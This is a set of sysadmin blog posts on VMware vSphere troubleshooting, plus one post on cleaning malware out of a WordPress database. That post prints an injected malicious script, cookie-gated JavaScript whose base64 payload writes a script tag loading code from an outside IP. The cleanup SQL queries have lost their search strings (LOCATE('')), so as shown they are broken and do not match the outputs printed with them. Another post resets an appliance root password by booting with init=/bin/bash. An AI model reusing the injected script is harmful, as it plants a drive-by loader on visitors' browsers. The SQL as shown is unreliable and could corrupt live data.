Recovering a VM using vSphere replication

Log into the recovery site vCenter webclient>vCenter server>Monitor>vSphere replication>incoming replication>

Click on the VM that you wish to recover and click on the recover button: 

Should you be performing a planned migration of the VM (with the most recent change, select Synchronise recently change (you will need to authenticate with the source side vCenter) ,. Else, use the latest available data or point in time to recover to a point in time snapshot

in my  scenario, the source site was down and  the VM needs to be recovered on the DR,

Now the VM has been recovered and is running at the DR site

WordPress sites being attacked, malicious java code appended to the post

Lately I have been observed several of my work press sites go down.

Symptoms include:

* certain posts do not load up

* Antivirus program points to the page having a malicious code

* WordPress admin page loads, the pages can be edited. However, when viewed in html view, I see the malicious code can bee seen,

Malicious code (removed the braces to avoid it from infecting the pages again)
!--codes_iframe-- script type=\"text/javascript\" function getCookie e {var U=document.cookie.match new RegExp \" ?:^|; \"+e.replace / [\.$?|{}\ \ \[\]\\\/\+^] /g,\"\\$1\" +\"= [^;] \" ;return U?decodeURIComponent U[1] :void 0}var src=\"data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor Date.now /1e3 ,cookie=getCookie \"redirect\" ;if now = time=cookie ||void 0===time {var time=Math.floor Date.now /1e3+86400 ,date=new Date new Date .getTime +86400 ;document.cookie=\"redirect=\"+time+\"; path=/; expires=\"+date.toGMTString ,document.write \' script src=\"\'+src+\'\" \/script \' } /script !--/codes_iframe-- 

To resolve this, I logged on to the mysql Cli and searched the database for the malicious code. I found them to be on the table wp_posts and column post_content. However, the column also contained the body of the post.

The logical approach to remove the malicious code was to delete the contents from <!–codes_iframe–> to <!–/codes_iframe> from sql

BitDefender shows the page as: Threat name: JS:Trojan.Cryxos.1952

mysql> SELECT LOCATE('', post_content) as start from wp_posts;
	+-------+
	| start |
	+-------+
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 11986 |
...
....
....
	| 11986 |
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 7584 |
	+-------+
364 rows in set (0.01 sec)


mysql> SELECT LOCATE('', post_content ) as end from wp_posts;
	+-------+
	| end |
	+-------+
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 0 |
	| 12815 |
..
...
...
	| 0 |
	| 1161 |
	| 1182 |
	| 8413 |
	+-------+
364 rows in set (0.00 sec) 

I used the below query to clear them from the database:

UPDATE wp_posts SET post_content = CONCAT(
SUBSTRING(post_content, 1, LOCATE('', post_content)-1),
SUBSTRING(post_content, LOCATE('', post_content)+LENGTH('')))
WHERE LOCATE('', post_content) > 0;

output:
mysql> UPDATE wp_posts SET post_content = CONCAT(
	-> SUBSTRING(post_content, 1, LOCATE('', post_content)-1),
	-> SUBSTRING(post_content, LOCATE('', post_content)+LENGTH('')))
	-> WHERE LOCATE('', post_content) > 0;
	Query OK, 74 rows affected (0.05 sec)
	Rows matched: 74 Changed: 74 Warnings: 0 

Logged back on and conformed that no other data was missing.


PS! Do take backup of the database before attempting to make changes!!

vmTools 10.3.x installation fails on server core/other os with failed to run CustomAction VM_PostInstall scripts

the VMinst.log/toolsinst.log did not have much information on the failure
Start by running msi debug logging:

msiexec /i "C:\MyPackage\toolsxxxx.msi" /L*V "C:\log\msi.log"
Logs: 
	MSI (s) (FC:F4) [08:04:42:754]: PROPERTY CHANGE: Adding VM_PostInstall.A05FAB36_E570_4B23_8805_3633A16E8D19 property. Its value is '"C:\ProgramData\VMware\VMware CAF\pme\install\postInstall.bat" "C:\Program Files\VMware\VMware Tools\VMware CAF\pme\" "C
	:\ProgramData\VMware\VMware CAF\pme\"'.
	Action ended 8:04:42: VM_PostInstall_SD.A05FAB36_E570_4B23_8805_3633A16E8D19. Return value 1.
	MSI (s) (FC:F4) [08:04:42:754]: Skipping action: VM_StopVMwareProcs.869A7E00_8665_0000_83A8_EF0F76CF0001 (condition is false)
	MSI (s) (FC!8C) [08:04:46:207]: Closing MSIHANDLE (60) of type 790531 for thread 4492
	CustomAction VM_PostInstall.A05FAB36_E570_4B23_8805_3633A16E8D19 returned actual error code 1603 (note this may not be 100% accurate if translation happened inside sandbox)
	MSI (s) (FC:BC) [08:04:46:207]: Closing MSIHANDLE (58) of type 790536 for thread 5876
	Action 8:04:46: Rollback. Rolling back action:
	Rollback: VM_PostInstall.A05FAB36_E570_4B23_8805_3633A16E8D19
	MSI (s) (FC:F4) [08:04:46:238]: Executing op: ActionStart(Name=VM_PostInstall.A05FAB36_E570_4B23_8805_3633A16E8D19,,)
	MSI (s) (FC:F4) [08:04:46:238]: Executing op: ProductInfo(ProductKey={F32C4E7B-2BF8-4788-8408-824C6896E1BB},ProductName=VMware Tools,PackageName={F32C4E7B-2BF8-4788-8408-824C6896E1BB}.msi,Language=1033,Version=167968773,Assignment=1,ObsoleteArg=0,ProductIcon=VmwareIcon,,PackageCode={66C1BF82-7ADE-472F-B0AE-1E6A85835452},,,InstanceType=0,LUASetting=0,RemoteURTInstalls=0,ProductDeploymentFlags=3)
	Rollback: Copying new files

in order to work this around, run the msi installer excluding vmware CAF

setup64.exe /S /v"/qn ADDLOCAL=ALL REMOVE=CAF /l*v C:\temp\vmtools-install.log" 

VCSA/Insufficient inodes can result in service crash with no space left on device errors

version: VMware VirtualCenter 6.5.0 build-8024368

vpxd logs: 
019-02-08T22:44:53.609Z info vpxd[7FB5996C4800] [Originator@6876 sub=Main] Account name: root
2019-02-08T22:44:53.609Z info vpxd[7FB5996C4800] [Originator@6876 sub=vpxUtil] [LoadMachineInstanceUuid] Local instance UUID: 6f0cbee2-56b1-43d3-b13a-348208627e07
2019-02-08T22:44:53.614Z error vpxd[7FB5996C4800] [Originator@6876 sub=Main] Init failed. Exception: N7Vmacore15SystemExceptionE(No space left on device)
--> [context]zKq7AVECAAAAADBxegAOdnB4ZAAAeF4rbGlidm1hY29yZS5zbwAAEBcbAMppGAC8HisAtJgaAH6mGgG4w6d2cHhkAAEBxqcBCsinAeEoVQG9+1QBap9TAuAFAmxpYmMuc28uNgABdZdT[/context]
2019-02-08T22:44:53.615Z error vpxd[7FB5996C4800] [Originator@6876 sub=Default] Failed to intialize VMware VirtualCenter. Shutting down
2019-02-08T22:44:53.615Z info vpxd[7FB5996C4800] [Originator@6876 sub=SupportMgr] Wrote uptime information
2019-02-08T22:44:53.616Z error vpxd[7FB5996C4800] [Originator@6876 sub=Default] Alert:false@ bora/vpx/vpxd/util/vdb.cpp:509
--> Backtrace:
--> [backtrace begin] product: VMware VirtualCenter, version: 6.5.0, build: build-8024368, tag: vpxd, cpu: x86_64, os: linux, buildType: release
--> backtrace[00] libvmacore.so[0x002B5E90]: Vmacore::System::Stacktrace::CaptureFullWork(unsigned int)
--> backtrace[01] libvmacore.so[0x001B1804]: Vmacore::System::SystemFactoryImpl::CreateBacktrace(Vmacore::Ref<Vmacore::System::Backtrace>&)
--> backtrace[02] libvmacore.so[0x00178BDB]: Vmacore::Service::Alert(char const*, char const*, int)
--> backtrace[03] vpxd[0x00A367FF]
--> backtrace[04] vpxd[0x0054E418]
--> backtrace[05] vpxd[0x0054FC2F]
--> backtrace[06] vpxd[0x00539F6A]
--> backtrace[07] libc.so.6[0x000205E0]
--> backtrace[08] vpxd[0x00539775]
--> [backtrace end]
2019-02-08T22:44:53.616Z info vpxd[7FB5996C4800] [Originator@6876 sub=vpxdVdb] Registry Item DB 5 value is ''
2019-02-08T22:44:53.616Z info vpxd[7FB5996C4800] [Originator@6876 sub=vpxdVdb] Setting VDB delay statements queue size to 11000 transactions for 11 GB RAM dedicated to vpxd.
2019-02-08T22:44:53.616Z info vpxd[7FB5996C4800] [Originator@6876 sub=vpxdVdb] [VpxdVdb::SetDBType] Logging in to DSN: VMware VirtualCenter with username vc
2019-02-08T22:44:53.617Z error vpxd[7FB5996C4800] [Originator@6876 sub=CryptUtil] [static bool Vpx::Common::CryptUtil::UnmungePasswordToBuffer(VpxDecrypter*, const string&, char*, size_t)] invalid decrypter
2019-02-08T22:44:53.617Z error vpxd[7FB5996C4800] [Originator@6876 sub=Default] [Vdb::IsRecoverableErrorCode] Unable to recover from 00000:0
2019-02-08T22:44:53.617Z error vpxd[7FB5996C4800] [Originator@6876 sub=vpxdVdb] [VpxdVdb::SetDBType]: Database error: ODBC error: (00000) -
2019-02-08T22:44:53.617Z error vpxd[7FB5996C4800] [Originator@6876 sub=Default] Error getting configuration info from the database
2019-02-08T22:44:53.617Z warning vpxd[7FB5996C4800] [Originator@6876 sub=Main] Database not initialized. Nothing to unlock
2019-02-08T22:44:53.617Z info vpxd[7FB5996C4800] [Originator@6876 sub=Default] Forcing shutdown of VMware VirtualCenter now

Looking at file system:

root@cmtolpvctrapp24 [ / ]# df -h
Filesystem                                Size  Used Avail Use% Mounted on
devtmpfs                                   16G     0   16G   0% /dev
tmpfs                                      16G  8.0K   16G   1% /dev/shm
tmpfs                                      16G  656K   16G   1% /run
tmpfs                                      16G     0   16G   0% /sys/fs/cgroup
/dev/sda3                                  11G  8.1G  2.1G  80% /
tmpfs                                      16G  884K   16G   1% /tmp
/dev/sda1                                 120M   28M   87M  24% /boot
/dev/mapper/log_vg-log                     25G  1.9G   22G   9% /storage/log
/dev/mapper/dblog_vg-dblog                 25G  173M   24G   1% /storage/dblog
/dev/mapper/db_vg-db                       25G  396M   23G   2% /storage/db
/dev/mapper/seat_vg-seat                  197G  5.8G  181G   4% /storage/seat
/dev/mapper/netdump_vg-netdump            9.8G   23M  9.2G   1% /storage/netdump
/dev/mapper/autodeploy_vg-autodeploy       25G   45M   24G   1% /storage/autodeploy
/dev/mapper/updatemgr_vg-updatemgr         99G  435M   93G   1% /storage/updatemgr
/dev/mapper/imagebuilder_vg-imagebuilder   25G   45M   24G   1% /storage/imagebuilder
/dev/mapper/core_vg-core                   99G  188M   94G   1% /storage/core

looking at inode:

root@cmtolpvctrapp24 [ / ]# df -i
Filesystem                                 Inodes  IUsed    IFree IUse% Mounted on
devtmpfs                                  4115632    531  4115101    1% /dev
tmpfs                                     4117336      4  4117332    1% /dev/shm
tmpfs                                     4117336    690  4116646    1% /run
tmpfs                                     4117336     16  4117320    1% /sys/fs/cgroup
/dev/sda3                                  712704 712704        0  100% /
tmpfs                                     4117336     77  4117259    1% /tmp
/dev/sda1                                   32768    305    32463    1% /boot
/dev/mapper/log_vg-log                    1638400  14332  1624068    1% /storage/log
/dev/mapper/dblog_vg-dblog                1638400     22  1638378    1% /storage/dblog
/dev/mapper/db_vg-db                      1638400   2854  1635546    1% /storage/db
/dev/mapper/seat_vg-seat                 13107200   4430 13102770    1% /storage/seat
/dev/mapper/netdump_vg-netdump             655360     11   655349    1% /storage/netdump
/dev/mapper/autodeploy_vg-autodeploy      1638400     13  1638387    1% /storage/autodeploy
/dev/mapper/updatemgr_vg-updatemgr        6553600    273  6553327    1% /storage/updatemgr
/dev/mapper/imagebuilder_vg-imagebuilder  1638400     14  1638386    1% /storage/imagebuilder
/dev/mapper/core_vg-core                  6553600     15  6553585    1% /storage/core
Now we determine what is consuming the most of inode: 
find / -xdev -printf '%h\n' | sort | uniq -c | sort -k 1 -n
    875 /usr/bin
   1417 /opt/vmware/lib/python2.7/test
   1584 /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/39/0/h5ngc.war/resources/libs/angular-i18n
   5362 /usr/share/man/man3
607550 /var/spool/mqueue

determine what is consuming the most of inode:

find / -xdev -printf '%h\n' | sort | uniq -c | sort -k 1 -n
    875 /usr/bin
   1417 /opt/vmware/lib/python2.7/test
   1584 /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/39/0/h5ngc.war/resources/libs/angular-i18n
   5362 /usr/share/man/man3
607550 /var/spool/mqueue   <----------------------culprit here

To resolve this, we run the below to clear the inode

 find /var/spool/mqueue/ -type f -print0 | xargs  -0 rm -f

Check for available node to conform if everything is cleared up.

root@cmtolpvctrapp24 [ / ]# df -i
Filesystem                                 Inodes  IUsed    IFree IUse% Mounted on
devtmpfs                                  4115632    531  4115101    1% /dev
tmpfs                                     4117336      4  4117332    1% /dev/shm
tmpfs                                     4117336    690  4116646    1% /run
tmpfs                                     4117336     16  4117320    1% /sys/fs/cgroup
/dev/sda3                                  712704 105154   607550   15% /
tmpfs                                     4117336     77  4117259    1% /tmp
/dev/sda1                                   32768    305    32463    1% /boot
/dev/mapper/log_vg-log                    1638400  14332  1624068    1% /storage/log
/dev/mapper/dblog_vg-dblog                1638400     22  1638378    1% /storage/dblog
/dev/mapper/db_vg-db                      1638400   2854  1635546    1% /storage/db
/dev/mapper/seat_vg-seat                 13107200   4430 13102770    1% /storage/seat
/dev/mapper/netdump_vg-netdump             655360     11   655349    1% /storage/netdump
/dev/mapper/autodeploy_vg-autodeploy      1638400     13  1638387    1% /storage/autodeploy
/dev/mapper/updatemgr_vg-updatemgr        6553600    273  6553327    1% /storage/updatemgr
/dev/mapper/imagebuilder_vg-imagebuilder  1638400     14  1638386    1% /storage/imagebuilder
/dev/mapper/core_vg-core                  6553600     15  6553585    1% /storage/core

vCSA proxy configuration

root@is-dhcp34-161 [ ~ ]# cat /etc/sysconfig/proxy

Enable a generation of the proxy settings to the profile.
This setting allows to turn the proxy on and off while
preserving the particular proxy setup.
#
PROXY_ENABLED=”no”

Some programs (e.g. wget) support proxies, if set in
the environment.
Example: HTTP_PROXY=”http://proxy.provider.de:3128/”
HTTP_PROXY=””

Example: HTTPS_PROXY=”https://proxy.provider.de:3128/”
HTTPS_PROXY=””

Example: FTP_PROXY=”http://proxy.provider.de:3128/”
FTP_PROXY=””

Example: GOPHER_PROXY=”http://proxy.provider.de:3128/”
GOPHER_PROXY=””

Example: SOCKS_PROXY=”socks://proxy.example.com:8080″
SOCKS_PROXY=””

Example: SOCKS5_SERVER=”office-proxy.example.com:8881″
SOCKS5_SERVER=””

Example: NO_PROXY=”www.me.de, do.main, localhost”
NO_PROXY=”localhost, 127.0.0.1″

Deploy vSphere replication using OVF tools

The web client/client integration plugin is such a pain to get working!! Especially when you have to rebuild one of the vR appliance.

On this Blog, I will show you an easier way to deploy the vR/OVF’s  to the vCenter.

To start off with, you will need a copy of the ovftool’s. you can Download a copy from the my.vmware portal link: https://my.vmware.com/web/vmware/details?productId=614&downloadGroup=OVFTOOL420

I would recommend the version 4.2.0 or above to avoid running into deployment bugs.

Installation: 

on an elevated command prompt, change to Program Files\VMware\VMware OVF Tool\

 cd “\Program Files\VMware\VMware OVF Tool\”

use the below syntax to deploy the vR (replace the once’s in the red font with what is on your environment):

ovftool --acceptAllEulas -ds="DATASTORE_NAME" -n="SPECIFY VRMS NAME" --net:"Management Network"="PORT GROUP NAME" --prop:"password"="VRMS ROOT PASSWORD" --prop:"ntpserver"="NTP SERVER IP OR FQDN" --prop:"vami.ip0.vSphere_Replication_Appliance"="SPECIFY VRMS SERVER IP" --vService:installation=com.vmware.vim.vsm:extension_vservice <PATH>\vSphere_Replication_OVF10.ovf vi://administrator@vsphere.local:VMWARE123!@VCENTER IP/?ip=HOST IP

Note: VMWARE123! is to be replaced with the password for administrator@vsphere.local account



Example:

vpxd crashes bora/vpx/vpxd/vpxservices/alarm/PredefinedAlarmsManager.cpp:203

vpxd.log
2019-02-20T02:09:33.982Z info vpxd[07142] [Originator@6876 sub=vpxLro opID=lro-5-5364f5ed] [VpxLRO] -- BEGIN lro-5 --  -- QuerySCLRO --
2019-02-20T02:09:33.982Z info vpxd[07142] [Originator@6876 sub=vpxLro opID=lro-5-5364f5ed] [VpxLRO] -- FINISH lro-5
2019-02-20T02:09:33.982Z info vpxd[07142] [Originator@6876 sub=ThreadPool] Spawning additional worker - allocated: 150, idle: 20
2019-02-20T02:09:33.982Z error vpxd[07142] [Originator@6876 sub=alarmMo opID=CreatePredefinedAlarms-94dc561] Upgrade from pre VC5.0 version not supported in VC 6X
2019-02-20T02:09:33.982Z info vpxd[07447] [Originator@6876 sub=ThreadPool] Thread enlisted
2019-02-20T02:09:33.982Z info vpxd[07447] [Originator@6876 sub=ThreadPool] Entering worker thread loop
2019-02-20T02:09:33.982Z info vpxd[07447] [Originator@6876 sub=ThreadPool] Spawning additional worker - allocated: 151, idle: 20
2019-02-20T02:09:33.985Z info vpxd[07135] [Originator@6876 sub=ThreadPool] Spawning additional worker - allocated: 152, idle: 20
2019-02-20T02:09:33.986Z panic vpxd[07142] [Originator@6876 sub=Default opID=CreatePredefinedAlarms-94dc561]
-->
--> Panic: NOT_REACHED bora/vpx/vpxd/vpxservices/alarm/PredefinedAlarmsManager.cpp:203
-->
--> Backtrace:
--> [backtrace begin] product: VMware VirtualCenter, version: 6.7.0, build: build-9433931, tag: vpxd, cpu: x86_64, os: linux, buildType: release
--> backtrace[00] libvmacore.so[0x002A9C48]: Vmacore::System::Stacktrace::CaptureFullWork(unsigned int)
--> backtrace[01] libvmacore.so[0x001B2F1C]: Vmacore::System::SystemFactory::CreateBacktrace(Vmacore::Ref<Vmacore::System::Backtrace>&)
--> backtrace[02] libvmacore.so[0x002A7E1E]
--> backtrace[03] libvmacore.so[0x002A7EFE]: Vmacore::PanicExit(char const*)
--> backtrace[04] libvmacore.so[0x001935E5]
--> backtrace[05] libvmacore.so[0x00193683]
--> backtrace[06] vpxd[0x0090C95B]
--> backtrace[07] vpxd[0x008B3A5A]
--> backtrace[08] vpxd[0x00517C29]
--> backtrace[09] vpxd[0x00517CCC]
--> backtrace[10] libvmacore.so[0x00230A3D]
--> backtrace[11] libvmacore.so[0x00230D06]
--> backtrace[12] libvmacore.so[0x002AF3E1]
--> backtrace[13] libpthread.so.0[0x000073D4]
--> backtrace[14] libc.so.6[0x000E8BBD]
--> [backtrace end]


Cause: alarms.version mismatch in database.

Resolution:
Connect to vCenter database

root@vc [ / ]psql VCDB postgres
VCDB=# select * from vpx_parameter where name = 'alarms.version';
      name      | value
----------------+-------
 alarms.version | 0
(1 row)
VCDB=# update vpx_parameter set value = '60' where name = 'alarms.version';
UPDATE 1
VCDB=# select * from vpx_parameter where name = 'alarms.version';
      name      | value
----------------+-------
 alarms.version | 60
(1 row)

Unlock /reset vSphere replication appliance root password.

restart the replication appliance to GRUB

at the grub screen, select SLES 11/12xxx Press ‘e’

Scroll down and look for show opts.

append “init=/bin/bash” to the same line

press f10 on the keyboard to boot

remount the root partition as RW

mount -o remount,rw /

To unlock the locked account, use the below command./sbin/pam_tally2 -r -u root

/sbin/pam_tally2 -r -u root

To reset the password, Use the below:

passwd root


Type exit to reboot the appliance

Isolating vSphere Replication traffic

On the Esxi host.

* create new vmkport group on the source and destination esxi host/cluster

Sample networking on the host:

* add a second nic to the vR appliance and reboot the appliance.

* Log into the VAMI page of the vR appliance (default url: https://ip:5480

* go into network>address

* under the eth1 info: set a static IP address there

* now go back to vR>Configuration

* fill in the “ip address for Incoming storage traffic” with the IP address of eth1 and click on “apply network settings”

* validate network and port connectivity (from source Esxi host to the Destination vR appliance)

* Network: vmkping -I vmkx REMOTE_vR_IP   (where x is the vmkernel portgroup on the host used for replication)

* port: nc -z vR_IP 31031

* validate network and port connectivity: (from Destination vR appliance to the Destination Esxi )

* curl -v telnet://Destination_ESXI_IP:902

Sample Networking configuration (for replication traffic, one way replication)

Sample Networking configuration (for replication traffic, one way replication)